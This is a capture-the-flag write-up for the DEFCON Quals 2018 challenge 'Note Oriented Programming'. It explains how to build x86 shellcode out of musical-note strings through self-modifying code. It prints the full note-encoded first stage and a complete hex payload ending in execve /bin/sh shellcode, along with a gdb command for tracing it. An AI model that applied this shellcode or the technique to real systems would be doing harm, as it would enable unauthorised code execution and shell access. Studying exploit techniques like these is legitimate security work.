DEFCON Quals 2018: "Note Oriented Programming" writeup

In this challenge, one had to write x86 shellcode using musical notes, i.e., the shellcode had to be a sequence of the ASCII strings An, A#n, Bn, Cn, C#n, Dn, D#n, En, Fn, F#n, Gn, G#n, where n is between 0 and 9. (And one had to send these notes to the server encoded as frequencies, which was easy to revert.) The registers were initialized as: eax=ebx=ecx=edx=0 and edi=esi=esp. Some constant strings were put on the stack prior to running our code. The shellcode was loaded and executed at 0x60606000.

We assembled a read(0, 0x60606260, a_few) syscall to read more (regular) shellcode using self-modifying code as follows.

First zero out esi: xor eax, [edi+0x30]; xor [edi+0x30], eax; xor eax, [edi+0x34] makes the 4 bytes at edi+0x30=esi+0x30 zero, then 0x30 times inc esi and and esi, [esi] sets esi to zero. Then get the address 0x60606160 into eax by XORing together constants from the stack (the right combination was found using a meet-in-the-middle search in Python):

xor eax, [eax + edi + 0x46]
xor eax, 0x39423947
xor eax, 0x36413442

(In general all of these have to be separated by “nops” like inc ebp and inc esp occasionally to make sure they have the right sequence of letters and numbers and # and can be encoded such that the pwnable regenerates them from our input.) Using the instruction xor [eax + esi + 0x41], al we can then build pushes and pops from allowed instructions as a replacement for mov instructions needed to set up registers for the syscall (the 60 in the LSB of eax was chosen such that we easily get pushes and pops). By inc esi in between the XORs we can change multiple instructions to pushes and pops. We patched xor [ecx+0x39, al] to push eax; inc ecx; pop ecx; ... and xor al, [ebp+0x38] to push edx; inc ebp; pop eax; inc edx. The first push/pop is used to get the target pointer into ecx (when the patched code is reached, we will have XORed two more values from the stack into eax to change it from 0x60606160 to 0x60606260 — this is necessary since we can’t get big values into edx, so we would never write behind the current eip unless we change the target pointer of the read). The second push/pop is used to move the value 3 (obtained using inc edx) from edx to eax (3 is read() on x86 Linux). After these patched instructions have been executed, we simply pad to the address where read() will put our shellcode using inc edx, which is necessary anyway to be able to read() enough.

First stage of the shellcode (remove newlines):

E3G0E1G0E3G4F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6
F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F#6D#7E3D8F5G9B9E5B4A6E0D0A6F6F0D0
A6F6F6F6F6F6F0D0A6F6F0D0A#7E5B4A6F5B7A6D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7
D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7
D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7
D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7E6F6F0A9B6B6B2E8B6B6B6B6
B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6
B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6
B6B6B6B6B6B6B6B6B6B6B6B6B6B6B7

Of course, we had to synthesize these notes into a beautiful MP3, which remarkably ends on a high note:

After (the encoded version of) this excellent piece of music, we simply sent regular x86 execve() shellcode. In summary, the payload we sent to the server is:

4a013100530031004a011003eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a
eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a
eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a
eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a910b74134a01b92476050a62c33d
2705ee01e1062a002500e106eb0a2c002500e106eb0aeb0aeb0aeb0aeb0a
2c002500e106eb0a2c002500930e2705ee01e1067605710fe10674137413
741374137413741374137413741374137413741374137413741374137413
741374137413741374137413741374137413741374137413741374137413
741374137413741374137413741374137413741374137413741374137413
741374137413741374137413741374137413741374137413741374137413
7413741374137413741374137413741374134e0aeb0a2c000637b907b907
7c003929b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
710f0000eb185e89760831c088460789460cb00b89f38d4e088d560ccd80
e8e3ffffff2f62696e2f73684100

In particular, this can be used to observe the shellcode while running: Hex-decode the blob above into a file pwn.bin, then run the following. (Find the nop binary here.)

$ gdb -ex 'b *0x56555bea' -ex 'r <pwn.bin' ./nop

To see the patching, set a breakpoint at 0x60606095. The patched code resides after 0x60606199.

After sending this blob to the server, it will spawn a shell and we can just send commands as usual to obtain the flag: OOO{1f_U_Ar3_r34d1n6_7h15_y0u_4r3_7h3_m0z4rT_0f_1nf053c_Ch33rs2MP!}